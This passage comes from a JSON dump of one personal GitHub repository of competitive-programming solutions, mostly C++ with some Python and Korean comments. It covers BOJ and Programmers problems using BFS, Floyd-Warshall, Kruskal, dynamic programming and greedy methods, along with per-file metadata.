num);\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, num;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++) {\\n cin >> num;\\n\\n int idx = lower_bound(lis.begin(), lis.end(), num) - lis.begin();\\n\\n if(lis.empty() || num > lis.back()) lis.push_back(num);\\n else lis[idx] = num;\\n\\n input.push_back(num);\\n index.push_back(idx); //i번째 원소가 lis 내에서 위치하는 인덱스를 저장\\n }\\n \\n cout << lis.size() << '\\\\n';\\n backtrace(n - 1, lis.size() - 1); \\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5167464017868042,\n \"alphanum_fraction\": 0.5693780183792114,\n \"avg_line_length\": 22.33333396911621,\n \"blob_id\": \"0095d470c6ec86b9769bff40b71603e099faf1e9\",\n \"content_id\": \"9cd3de40cc4270933af463193120dbe6ae8acf7b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 215,\n \"license_type\": \"no_license\",\n \"max_line_length\": 54,\n \"num_lines\": 9,\n \"path\": \"/programmers/Level 1/kth_number.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# programmers Level 1: K번째수\\n# date: 2022-04-14\\ndef solution(array, commands):\\n answer = []\\n \\n for i, j, k in commands:\\n answer.append(sorted(array[i - 1 : j])[k - 1])\\n \\n return answer\"\n },\n {\n \"alpha_fraction\": 0.44225722551345825,\n \"alphanum_fraction\": 0.4881889820098877,\n \"avg_line_length\": 16.340909957885742,\n \"blob_id\": \"9fd7b666aafb4dc3918f3bd7ff9f79f6bdc3592c\",\n \"content_id\": \"50ac8d7895d40a8bac935f2126ad34c419585c64\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 824,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 44,\n \"path\": \"/BOJ/Greedy/13305.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 13305번: 주유소\\nDATE: 2021-01-06\\n*/\\n#include <iostream>\\nusing namespace std;\\nlong long rate[100001], dst[100000];\\n\\nint main() {\\n\\tint check = 0; //계산할 주유소\\n\\tlong long n, mid_dst, sum_rate = 0;\\n\\n\\tcin >> n;\\n\\n\\tfor (int i = 0; i < n-1; i++) \\n\\t\\tcin >> dst[i];\\n\\tfor (int i = 0; i < n; i++)\\n\\t\\tcin >> rate[i];\\n\\n\\twhile (1) {\\n\\t\\tmid_dst = 0; //거리 갱신\\n\\n\\t\\tfor (int i = check; i < n - 1; i++) { \\n\\t\\t\\tif (rate[i] < rate[check]) { //현재 도시보다 가격이 싼 주유소가 있을 때 \\n\\t\\t\\t\\tfor (int j = check; j < i; j++) \\n\\t\\t\\t\\t\\tmid_dst += dst[j];\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tsum_rate += rate[check] * mid_dst;\\n\\t\\t\\t\\tcheck = i;\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\t}\\n\\t\\t\\telse if(i == n-2){\\n\\t\\t\\t\\tfor (int j = check; j <= i; j++)\\n\\t\\t\\t\\t\\tmid_dst += dst[j];\\n\\t\\t\\t\\n\\t\\t\\t\\tsum_rate += rate[check] * mid_dst;\\n\\t\\t\\t\\tcout << sum_rate << endl;\\n\\n\\t\\t\\t\\treturn 0;\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t}\\n}\"\n },\n {\n \"alpha_fraction\": 0.4728132486343384,\n \"alphanum_fraction\": 0.513002336025238,\n \"avg_line_length\": 15.960000038146973,\n \"blob_id\": \"75c45da5598a2db0b48e20dacb7e190a13116dbb\",\n \"content_id\": \"fe2e2051c4e3c9bfabe5018f0f2731b89723b0ab\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 433,\n \"license_type\": \"no_license\",\n \"max_line_length\": 59,\n \"num_lines\": 25,\n \"path\": \"/BOJ/Implementation/2075.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2075번: N번째 큰 수\\nDATE: 2022-01-30\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n priority_queue<int, vector<int>, greater<int>> pq;\\n int n, num;\\n cin >> n;\\n\\n for(int i = 0 ; i < n * n ; i++) {\\n cin >> num;\\n pq.push(num);\\n\\n if(pq.size() > n) pq.pop();\\n }\\n\\n cout << pq.top();\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3746640980243683,\n \"alphanum_fraction\": 0.39731284976005554,\n \"avg_line_length\": 25.059999465942383,\n \"blob_id\": \"6f4b1ef6925bf7e8ec59fae81e765a93d2a8ab3e\",\n \"content_id\": \"2f774e6f283c9f1194136c14be3e352463fcf20f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2761,\n \"license_type\": \"no_license\",\n \"max_line_length\": 139,\n \"num_lines\": 100,\n \"path\": \"/BOJ/BFS_DFS/3055.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 3055번: 탈출\\nDATE: 2021-10-12\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\n#include <vector>\\nusing namespace std;\\n\\nint dx[4] = {-1, 0, 1, 0};\\nint dy[4] = {0, 1, 0, -1};\\nint r, c;\\nint d_x, d_y, s_x, s_y;\\nvector <pair<int, int>> water;\\nqueue<pair<int, int>> s, w;\\nchar forest[51][51];\\nint s_visited[51][51] = {0, }, w_visited[51][51] = {0, };\\n\\nvoid bfs() {\\n for(int i = 0 ; i < water.size() ; i++) {\\n w.push(make_pair(water[i].first, water[i].second));\\n w_visited[water[i].first][water[i].second] = 1;\\n }\\n\\n s.push(make_pair(s_x, s_y));\\n s_visited[s_x][s_y] = 1;\\n\\n //종료 조건\\n // 1. 고슴도치가 비버의 굴에 도착한 경우 => 거리 출력하고 끝\\n // 2. 고슴도치가 더 이상 탐색을 할 수 없는 경우 => KAKTUS 출력하고 끝\\n while(!s.empty()) {\\n // 물 먼저 이동 (예상 경로)\\n int w_size = w.size();\\n\\n for(int i = 0 ; i < w_size ; i++) {\\n pair<int, int> cur = w.front();\\n w.pop();\\n\\n for(int j = 0 ; j < 4 ; j++) {\\n int nx = dx[j] + cur.first;\\n int ny = dy[j] + cur.second;\\n\\n if(nx < 0 || ny < 0 || nx >= r || ny >= c || forest[nx][ny] == 'X' || forest[nx][ny] == 'D' || w_visited[nx][ny]) continue;\\n w.push(make_pair(nx, ny));\\n w_visited[nx][ny] = 1; \\n }\\n }\\n\\n //고슴도치 이동\\n int s_size = s.size();\\n\\n for(int i = 0 ; i < s_size ; i++) {\\n pair<int, int> cur = s.front();\\n s.pop();\\n\\n for(int j = 0 ; j < 4 ; j++) {\\n int nx = dx[j] + cur.first;\\n int ny = dy[j] + cur.second;\\n\\n if(nx < 0 || ny < 0 || nx >= r || ny >= c || forest[nx][ny] == 'X' || w_visited[nx][ny] || s_visited[nx][ny]) continue;\\n if(forest[nx][ny] == 'D') { // 목적지 도착\\n cout << s_visited[cur.first][cur.second];\\n return;\\n }\\n\\n s.push(make_pair(nx, ny));\\n s_visited[nx][ny] = s_visited[cur.first][cur.second] + 1; \\n }\\n }\\n }\\n\\n cout << \\\"KAKTUS\\\";\\n return;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n cin >> r >> c;\\n\\n for(int i = 0 ; i < r ; i++) {\\n for(int j = 0 ; j < c ; j++) {\\n cin >> forest[i][j];\\n\\n if(forest[i][j] == '*') water.push_back(make_pair(i, j)); // 물\\n else if(forest[i][j] == 'D') { // 비버\\n d_x = i;\\n d_y = j;\\n }\\n else if(forest[i][j] == 'S') { // 고슴도치\\n s_x = i;\\n s_y = j;\\n }\\n }\\n }\\n\\n bfs();\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.40682414174079895,\n \"alphanum_fraction\": 0.4593175947666168,\n \"avg_line_length\": 18.564102172851562,\n \"blob_id\": \"efe3bd0bbdc7f8a942a32b71db60f8a13afa5f9a\",\n \"content_id\": \"d6e8ae052d994b2db2db7899e9d241f4a1ef4558\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 770,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 39,\n \"path\": \"/BOJ/Dynamic Programming/13398.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"WINDOWS-1256\",\n \"text\": \"/*\\nBOJ 13398¹ّ: ؟¬¼ساص 2\\nDATE: 2021-07-20 \\n*/\\n#include <iostream>\\n#include <algorithm>\\n#define MAX 100001\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int arr[MAX], left[MAX], right[MAX];\\n int n, ans;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> arr[i];\\n }\\n\\n ans = left[0] = arr[0];\\n right[n - 1] = arr[n - 1];\\n\\n for(int i = 1 ; i < n ; i++){\\n left[i] = max(arr[i], arr[i] + left[i-1]);\\n ans = max(ans, left[i]);\\n }\\n\\n for(int i = n - 2 ; i >= 0 ; i--){\\n right[i] = max(arr[i], arr[i] + right[i + 1]);\\n }\\n\\n for(int del = 1 ; del < n - 1 ; del++){\\n ans = max(ans, left[del - 1] + right[del + 1]); \\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4465753436088562,\n \"alphanum_fraction\": 0.465753436088562,\n \"avg_line_length\": 21.4769229888916,\n \"blob_id\": \"1bc20b7d7b2ea6934968c332034051812f58e736\",\n \"content_id\": \"8eb7197fbb3f1fb6e8329c53fe150122d9815c37\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1460,\n \"license_type\": \"no_license\",\n \"max_line_length\": 62,\n \"num_lines\": 65,\n \"path\": \"/programmers/Level 3/jewelry_shopping.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 3 : Jewelry shopping\\n//2020 KAKAO Internship\\n//2021-05-02\\n#include <string>\\n#include <vector>\\n#include <map>\\n#include <set>\\n#include <algorithm>\\n#include <iostream>\\nusing namespace std;\\n\\nvector<int> solution(vector<string> gems) {\\n vector<int> answer;\\n vector<string> list; \\n map<string, int> m;\\n set<string> s;\\n int n, min=100001, ans_start=0, ans_end=0, start=0, end=0;\\n \\n list = gems;\\n sort(list.begin(), list.end());\\n list.erase(unique(list.begin(), list.end()), list.end());\\n n = list.size();\\n \\n while(true){\\n if(s.size() == n){\\n int dst = end - start;\\n \\n if(dst < min){\\n min = dst;\\n ans_start = start + 1;\\n ans_end = end;\\n }\\n \\n m[gems[start]]--;\\n start++;\\n \\n if(m[gems[start - 1]] == 0){\\n s.erase(gems[start - 1]);\\n }\\n }\\n else if(end == gems.size()){\\n break;\\n }\\n else if(s.size() < n){\\n s.insert(gems[end]);\\n m[gems[end]]++;\\n end++;\\n }\\n }\\n \\n answer.push_back(ans_start);\\n answer.push_back(ans_end);\\n \\n return answer;\\n}\\n\\nint main(){\\n vector<string> gems = {\\\"DIA\\\",\\\"EM\\\",\\\"EM\\\",\\\"RUB\\\",\\\"DIA\\\"};\\n vector<int> answer;\\n\\n answer = solution(gems);\\n\\n for(int i = 0 ; i < answer.size() ; i++)\\n cout << answer[i] << \\\" \\\";\\n}\"\n },\n {\n \"alpha_fraction\": 0.409431129693985,\n \"alphanum_fraction\": 0.42514970898628235,\n \"avg_line_length\": 20.22222137451172,\n \"blob_id\": \"8b44c90ae6e6e2799c52ea45eb896cb6744c9dd8\",\n \"content_id\": \"135a46bd87ce37b42faa64016a4804502de54869\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1404,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 63,\n \"path\": \"/programmers/Level 2/bracket_transformation.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 괄호 변환\\ndate: 2022-04-29\\n*/\\n#include <string>\\n#include <stack>\\nusing namespace std;\\n\\nint isBalanced(string str){ // 균형잡힌 괄호 문자열\\n int left = 0, right = 0, ret = -1;\\n \\n for(int i = 0 ; i < str.length() ; i++){\\n if(str[i] == '(') left++;\\n else right++;\\n \\n if(left == right) return i;\\n }\\n}\\n\\nbool isCorrect(string str){ // 올바른 괄호 문자열\\n stack<char> s;\\n \\n for(int i = 0 ; i < str.length() ; i++) {\\n if(s.empty() || str[i] == '(') s.push(str[i]);\\n else if(s.top() == '(') s.pop();\\n }\\n\\n if(!s.empty()) return false;\\n else return true;\\n}\\n\\nstring solution(string p) {\\n string answer = \\\"\\\";\\n \\n if(p == \\\"\\\") return answer;\\n if(isBalanced(p) != -1 && isCorrect(p)) return p;\\n \\n while(1){\\n int idx = isBalanced(p);\\n \\n string u = p.substr(0, idx + 1);\\n string v = p.substr(idx + 1);\\n \\n if(isCorrect(u)){\\n answer += u;\\n p = v;\\n continue;\\n }\\n \\n string tmp = \\\"(\\\";\\n tmp += solution(v) + \\\")\\\";\\n \\n for(int i = 1 ; i < u.length() - 1 ; i++){ // u의 첫 번째와 마지막 문제는 제외\\n if(u[i] == '(') tmp += \\\")\\\";\\n else tmp += \\\"(\\\";\\n }\\n \\n answer += tmp;\\n break;\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3757225573062897,\n \"alphanum_fraction\": 0.4084778428077698,\n \"avg_line_length\": 19.780000686645508,\n \"blob_id\": \"c2110777b74f105714bdb42a0a1be942b01664b2\",\n \"content_id\": \"eac9909abc770a16b9d282a6b3777387a27be5cc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1072,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 50,\n \"path\": \"/BOJ/Graph Theory/1238_1.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1238번: 파티\\nDATE: 2021-07-12\\nFloyd Warshall Algorithm\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#define MAX 1000\\n#define INF 1e9\\nusing namespace std;\\n\\nint arr[MAX][MAX];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m, x, start, end, t, maximum=-1;\\n cin >> n >> m >> x;\\n\\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j < n ; j++){\\n if(i != j) arr[i][j] = INF;\\n }\\n }\\n\\n for(int i = 0 ; i < m ; i++){\\n cin >> start >> end >> t;\\n arr[start-1][end-1] = t;\\n }\\n\\n for(int k = 0 ; k < n ; k++){ //거쳐가는 노드\\n for(int i = 0 ; i < n ; i++){ //출발 노드\\n for(int j = 0 ; j < n ; j++){ //도착 노드\\n if(arr[i][k] + arr[k][j] < arr[i][j]){\\n arr[i][j] = arr[i][k] + arr[k][j];\\n }\\n } \\n }\\n }\\n \\n int ans[n];\\n\\n for(int i = 0 ; i < n ; i++){\\n ans[i] = arr[i][x-1] + arr[x-1][i];\\n maximum = max(ans[i], maximum);\\n }\\n\\n cout << maximum;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.28817734122276306,\n \"alphanum_fraction\": 0.31921181082725525,\n \"avg_line_length\": 22.34482765197754,\n \"blob_id\": \"a602f2502de27193c5c8cde077a9b76acb0bafcb\",\n \"content_id\": \"b23d6d557c7ec250a748de656594f20285aae687\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2060,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 87,\n \"path\": \"/BOJ/Implementation/14499.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 14499번: 주사위 굴리기\\nDATE: 2021-07-02\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int dice[6] = {0,};\\n int n, m, x, y, k, move, bottom=4, right = 1, front=3, tmp;\\n cin >> n >> m >> x >> y >> k;\\n\\n int map[n][m];\\n\\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j < m ; j++){\\n cin >> map[i][j];\\n }\\n }\\n\\n for(int i = 0 ; i < k ; i++){\\n cin >> move;\\n\\n if(move == 1){ //동쪽\\n y += 1;\\n if(x < 0 || x >= n || y < 0 || y >= m){\\n y--;\\n continue;\\n }\\n \\n tmp = bottom;\\n bottom = right;\\n if(tmp % 2 == 0) right = tmp +1;\\n else right = tmp - 1;\\n }\\n else if(move == 2){ //서쪽\\n y -= 1;\\n if(x < 0 || x >= n || y < 0 || y >= m){\\n y++;\\n continue;\\n }\\n\\n tmp = bottom;\\n if(right % 2 == 0) bottom = right+1;\\n else bottom = right-1;\\n right = tmp;\\n }\\n else if(move == 3){ //북쪽\\n x -= 1;\\n if(x < 0 || x >= n || y < 0 || y >= m){\\n x++;\\n continue;\\n }\\n\\n tmp = bottom;\\n if(front % 2 == 0) bottom = front+1;\\n else bottom = front - 1;\\n front = tmp;\\n }\\n else if(move == 4){ //남쪽\\n x += 1;\\n if(x < 0 || x >= n || y < 0 || y >= m){\\n x--;\\n continue;\\n }\\n\\n tmp = bottom;\\n bottom = front;\\n if(tmp % 2 == 0) front = tmp + 1;\\n else front = tmp - 1;\\n }\\n\\n if(map[x][y] == 0){\\n map[x][y] = dice[bottom];\\n }\\n else{\\n dice[bottom] = map[x][y];\\n map[x][y] = 0;\\n }\\n \\n if(bottom % 2 == 0) cout << dice[bottom+1] << '\\\\n';\\n else cout << dice[bottom-1] << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3365384638309479,\n \"alphanum_fraction\": 0.372863233089447,\n \"avg_line_length\": 18.93617057800293,\n \"blob_id\": \"b67149b6edefec2397d192faca8e015f289cfdd2\",\n \"content_id\": \"7197c254335751f11d1540d9fc9e1f3394bbc0da\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 942,\n \"license_type\": \"no_license\",\n \"max_line_length\": 68,\n \"num_lines\": 47,\n \"path\": \"/BOJ/Graph Theory/10159.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 10159번: 저울\\nDATE: 2022-03-06\\nFloyd-Warshall Algorithm\\n*/\\n#include <iostream>\\n#define MAX 101\\n#define INF 1e9\\nusing namespace std;\\n\\nint arr[MAX][MAX];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m;\\n int a, b, cnt = 0;\\n cin >> n >> m;\\n\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n if(i != j) arr[i][j] = INF; \\n }\\n }\\n\\n for(int i = 0 ; i < m ; i++){\\n cin >> a >> b;\\n arr[a][b] = 1;\\n }\\n\\n for(int k = 1 ; k <= n ; k++){\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n if(arr[i][k] + arr[k][j] < arr[i][j]) arr[i][j] = 1;\\n }\\n }\\n }\\n\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n if(arr[i][j] == INF && arr[j][i] == INF) cnt++;\\n }\\n cout << cnt << '\\\\n';\\n cnt = 0;\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5013774037361145,\n \"alphanum_fraction\": 0.5247933864593506,\n \"avg_line_length\": 18.904109954833984,\n \"blob_id\": \"35dfb5c45f26acef53923aa1da33cc2dbbc00e24\",\n \"content_id\": \"c65c762d40eb6d8e440796a1e83b0c98c476dc75\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1462,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 73,\n \"path\": \"/BOJ/MST/1939.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1939번: 중량제한\\n2022-01-03\\nKruskal Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#include <queue>\\n#define MAX 10001\\n#define INF 1000000000\\nusing namespace std;\\n\\nvector<pair<int, pair<int,int>>> edge;\\nint parent[MAX];\\n\\nint getParent(int x) {\\n if(parent[x] == x) return x;\\n return parent[x] = getParent(parent[x]);\\n}\\n\\nvoid unionParent(int a, int b) {\\n a = getParent(a);\\n b = getParent(b);\\n\\n if(a < b) parent[b] = a;\\n else parent[a] = b;\\n}\\n\\nint findParent(int a, int b){\\n a = getParent(a);\\n b = getParent(b);\\n\\n if(a == b) return true;\\n else return false;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n vector<int> weight;\\n int n, m;\\n int a, b, c;\\n int start, end;\\n cin >> n >> m;\\n\\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\\n\\n for(int i = 0 ; i < m ; i++) {\\n cin >> a >> b >> c;\\n edge.push_back({c, {a, b}}); \\n edge.push_back({c, {b, a}});\\n }\\n\\n cin >> start >> end;\\n sort(edge.begin(), edge.end(), greater<>());\\n\\n for(int i = 0 ; i < edge.size() ; i++) {\\n int a = edge[i].second.first;\\n int b = edge[i].second.second;\\n int c = edge[i].first;\\n\\n if(findParent(a, b)) continue;\\n unionParent(a, b);\\n weight.push_back(c);\\n\\n if(findParent(start, end)) {\\n cout << *min_element(weight.begin(), weight.end());\\n break;\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.45552146434783936,\n \"alphanum_fraction\": 0.5168711543083191,\n \"avg_line_length\": 12.893616676330566,\n \"blob_id\": \"adf63edbab17c58b4f33ceeedb1d3c16c5c9541d\",\n \"content_id\": \"2bab898e8c357b923e91f72c2ffc16f4d7433e02\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 662,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 47,\n \"path\": \"/BOJ/BFS_DFS/2606.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 2606번: 바이러스\\nDATE: 2021-01-18\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\nint arr[101][101]; \\nint visit[101];\\nint ans=0, n, m;\\n\\nvoid bfs(int num) {\\n\\tqueue <int> q;\\n\\tvisit[num] = 1;\\n\\n\\tq.push(num);\\n\\twhile (!q.empty()) {\\n\\t\\tint front = q.front();\\n\\t\\tq.pop();\\n\\n\\t\\tfor (int i = 1 ; i <= n; i++) {\\n\\t\\t\\tif (arr[front][i] && !visit[i]) {\\n\\t\\t\\t\\tq.push(i);\\n\\t\\t\\t\\tvisit[i] = 1;\\n\\t\\t\\t\\tans++;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\\n\\nint main() {\\n\\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\tcin >> n >> m;\\n\\n\\tfor (int i = 0; i < m; i++) {\\n\\t\\tint num1, num2;\\n\\t\\tcin >> num1 >> num2;\\n\\t\\tarr[num1][num2] = arr[num2][num1] = 1;\\n\\t}\\n\\n\\tbfs(1);\\n\\n\\tcout << ans;\\n\\n\\treturn 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.45670628547668457,\n \"alphanum_fraction\": 0.4821731746196747,\n \"avg_line_length\": 18.032258987426758,\n \"blob_id\": \"b8d31e22da1ae0592ef953ff85a902d3f290c119\",\n \"content_id\": \"d3f3f5de3c77ac897eaf2ade2b3985996674e880\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 623,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 31,\n \"path\": \"/programmers/Level 2/more_spicy.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 더 맵게\\ndate: 2022-02-23\\n-\\n새로운 초기화 방법을 알게 되었다..! (line 12)\\n*/\\n#include <vector>\\n#include <queue>\\nusing namespace std;\\n\\nint solution(vector<int> scoville, int K) {\\n priority_queue<int, vector<int>, greater<int>> pq(scoville.begin(), scoville.end());\\n int answer = 0;\\n \\n while(pq.top() < K){\\n if(pq.size() == 1){\\n answer = -1;\\n break;\\n }\\n \\n int a = pq.top(); \\n pq.pop();\\n int b = pq.top();\\n pq.pop();\\n \\n pq.push(a + b * 2);\\n answer++;\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.42402827739715576,\n \"alphanum_fraction\": 0.4478798508644104,\n \"avg_line_length\": 21.215686798095703,\n \"blob_id\": \"410448911df956b6a5b3550e0d903c27434d3c9a\",\n \"content_id\": \"952f66f167b94378e6ab75cc1ce8c588e74b1152\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1142,\n \"license_type\": \"no_license\",\n \"max_line_length\": 53,\n \"num_lines\": 51,\n \"path\": \"/programmers/Level 3/the_farthest_node.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 3: 가장 먼 노드\\n2022-02-22\\nBFS\\n*/\\n#include <vector>\\n#include <algorithm>\\n#include <queue>\\nusing namespace std;\\n\\nint solution(int n, vector<vector<int>> edge) {\\n vector<int> graph[n + 1];\\n vector<bool> visited(n + 1, false);\\n vector<int> d(n + 1, 0);\\n queue<int> q;\\n int answer = 0;\\n \\n for(int i = 0 ; i < edge.size() ; i++) {\\n graph[edge[i][0]].push_back(edge[i][1]);\\n graph[edge[i][1]].push_back(edge[i][0]);\\n }\\n \\n q.push(1);\\n d[1] = 0;\\n visited[1] = true;\\n \\n while(!q.empty()){\\n int cur = q.front();\\n q.pop();\\n \\n for(int i = 0 ; i < graph[cur].size() ; i++){\\n if(!visited[graph[cur][i]]) {\\n int nextNode = graph[cur][i];\\n int nextDistance = d[cur] + 1;\\n \\n d[nextNode] = nextDistance;\\n visited[nextNode] = true;\\n q.push(nextNode);\\n }\\n }\\n }\\n \\n sort(d.begin(), d.end(), greater<>());\\n \\n for(int i = 0 ; i <= n ; i++){\\n if(d[i] != d[0]) break;\\n answer++;\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.41582491993904114,\n \"alphanum_fraction\": 0.4680134654045105,\n \"avg_line_length\": 16,\n \"blob_id\": \"63606d6b919a36ed921e4b868bee1970534cb96a\",\n \"content_id\": \"6c524fa98e7e5fe456f59d5be07810ab3cbdb34d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 608,\n \"license_type\": \"no_license\",\n \"max_line_length\": 59,\n \"num_lines\": 35,\n \"path\": \"/BOJ/Implementation/15565.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 15565번: 귀여운 라이언\\nDATE: 2022-02-01\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n vector<int> vec;\\n int n, k, num;\\n int ans = 1000001;\\n\\n cin >> n >> k;\\n\\n for(int i = 0 ; i < n ; i++) {\\n cin >> num;\\n if(num == 1) vec.push_back(i);\\n }\\n\\n if(vec.size() < k) {\\n cout << -1;\\n return 0;\\n }\\n\\n for(int i = 0 ; i <= vec.size() - k ; i++) {\\n ans = min(ans, vec[i + k - 1] - vec[i] + 1);\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.41701245307922363,\n \"alphanum_fraction\": 0.4730290472507477,\n \"avg_line_length\": 15.655172348022461,\n \"blob_id\": \"f0e199f3633498df26ba48e4a22a9dbe1d1bd1e1\",\n \"content_id\": \"5460d131de2e0cf350ea5b7409048c5f15089c5f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 494,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 29,\n \"path\": \"/BOJ/Dynamic Programming/9461.cpp\",\n \"repo_name\": 